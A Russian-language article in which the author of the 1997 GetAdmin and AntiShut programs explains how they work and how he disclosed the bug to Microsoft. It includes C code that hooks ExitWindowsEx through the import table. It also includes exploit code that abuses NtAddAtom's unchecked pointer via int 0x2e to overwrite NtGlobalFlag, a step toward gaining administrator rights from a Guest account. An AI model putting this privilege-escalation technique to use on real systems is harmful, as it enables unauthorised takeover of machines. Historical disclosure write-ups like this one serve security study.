|
![]() |
![]() |
||
Мое исследование системы Windows NT началось с написания программы "AntiShut: Remote Shutdown Protection" - блокировка удаленного перезапуска компьютера. В то время (примерно год назад) я был на 3 курсе и частенько сидел за компьютером на кафедре. На игру в DOOM и т. п. реакция администраторов была однозначной - удаленная перезагрузка. Что и послужило основным стимулом написания программы "AntiShut".
Данная программа блокирует как локальный, так и удаленный перезапуск.
Принцип работы программы достаточно прост. Ниже опишу основные моменты в работе программы.
Код перехвата функции ExitWindowsEx:
BOOL InterceptFunctionsInModule(PVOID baseAddress)
{
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS pNTHeader;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
DWORD protect;
if ( IsBadReadPtr(baseAddress, sizeof(PIMAGE_NT_HEADERS)) )
return FALSE;
if ( pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE )
return FALSE;
pNTHeader = MakePtr(PIMAGE_NT_HEADERS, pDOSHeader, pDOSHeader->e_lfanew);
if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )
return FALSE;
pImportDesc = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, baseAddress,
pNTHeader->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
VirtualAddress);
if ( pImportDesc == (PIMAGE_IMPORT_DESCRIPTOR)pNTHeader )
return FALSE;
while ( pImportDesc->Name )
{
PIMAGE_THUNK_DATA pThunk;
pThunk = MakePtr(PIMAGE_THUNK_DATA,
baseAddress, pImportDesc->FirstThunk);
while ( pThunk->u1.Function )
{
if( (DWORD)pThunk->u1.Function ==
(DWORD)GetProcAddress(GetModuleHandle("user32.dll"),"ExitWindowsEx") )
{
LogA("Hooking function\n");
if(!IsBadWritePtr((LPVOID)pThunk->u1.Function,4))
{
(PDWORD)pThunk->u1.Function = (PDWORD)MyHandler;
}
else
{
if(VirtualProtect((LPVOID)(&pThunk->u1.Function),
4096,PAGE_EXECUTE_READWRITE,&protect))
{
pThunk->u1.Function = (PDWORD)MyHandler;
}
}
}
pThunk++;
}
pImportDesc++;
}
return TRUE;
}
В итоге, когда winlogon получает через RPC приказ перезагрузить компьютер, перезагрузка глохнет в функции ExitWindowsEx.
Получение администраторских прав
Разовьем далее идею внедрения в системные процессы. Что нам известно о системных процессах (сервисах)? То, что все они, как правило, работают под "System Account". То есть имеют администраторские права на локальной машине. Наводит на какие-нибудь мысли? Получается, что пользователь, который имеет привилегию "отладка программ", может получить права администратора на локальной машине.
Но как же обойти необходимость в специальных привилегиях?
Решение было найдено мной несколько позже - июнь 1997. Заняло - примерно 1 неделю.
Изучая работу ntoskrnl.exe (ядро Windows NT) я обнаружил (далеко не случайно, в ntoskrnl сотни функций), что функция NtAddAtom не проверяет адрес своего второго аргумента. То есть если передать в качестве параметра любой адрес, туда будет записано некое число (результат выполнения NtAddAtom).
Функция NtAddAtom, в WIN32 API вызывается функцией AddAtom, которая используется достаточно часто. Но функция AddAtom принимает только один параметр (адрес строки), поэтому вызов ее не приводил к катастрофическим последствиям.
Итак, получается, мы можем писать в любую область адресного пространства Windows NT. Очевидно, теперь мы имеем фактически полную власть над системой, без каких-либо специальных прав.
Выбирая кратчайший из возможных путей, я и написал программу GetAdmin.
Путь же этот заключался в следующем:
В системе Windows NT есть некий глобальный флаг NtGlobalFlag, имеющий адрес примерно 0x801XXXXX. Изменением одного из битов этого флага мы можем превратить Windows NT в Windows NT Checked Build, и право "SeDebugPrivilege" не будет необходимо для внедрения в системные процессы.
Код функции изменения NtGlobalFlag:
BOOL ChangeNtGlobalFlag(DWORD pNtGlobalFlag)
{
DWORD callnumber = 0x3;
DWORD stack[32] ;
int i;
DWORD handle=0;
CHAR string[255];
if(!pNtGlobalFlag) return 0;
stack[0] = (DWORD)string;
stack[1] = (DWORD)&handle;//pNtGlobalFlag;
// Вызываем NtAddAtom до тех пор, пока не будет выставлен
// нужный бит в NtGlobalFlag.
for(i=0;i<0x100;i++)
{
sprintf(string,"NT now cracking... pass %d",i);
if(handle & 0xf00){
stack[1] = (DWORD)pNtGlobalFlag+1;
}
__asm{
mov eax, callnumber;
mov edx, stack;
lea edx,dword ptr [stack]
int 0x2e;
}
if( stack[1] == pNtGlobalFlag+1) break;
}
return TRUE;
}
Далее, внедряя в winlogon код, который добавляет пользователя в группу администраторов, получаем искомый результат.
Итак, программа GetAdmin позволяет получить права администратора на правах Guest-a.
30 июля 1997 я послал письмо в Microsoft, что так и так, есть такой баг. Через пару дней получил ответ от господина N, что я ошибся, и вообще моя программа не работает. Послав программу на www.ntsecurity.net и на news я убедился, что она все-таки работает. После публикации мне пришло письмо от господина NN из Microsoft (должностью повыше, чем N) с просьбой сообщить имя господина N.
Баг этот Microsoft устранила только через несколько месяцев после публикации статьи об этом на www.ntsecurity.net.
Более подробную информацию вы можете получить на http://cmp.phys.msu.su/ntclub.
| обсудить | все отзывы (0) | |
| [35096; 10; 7.5] |
|
|
|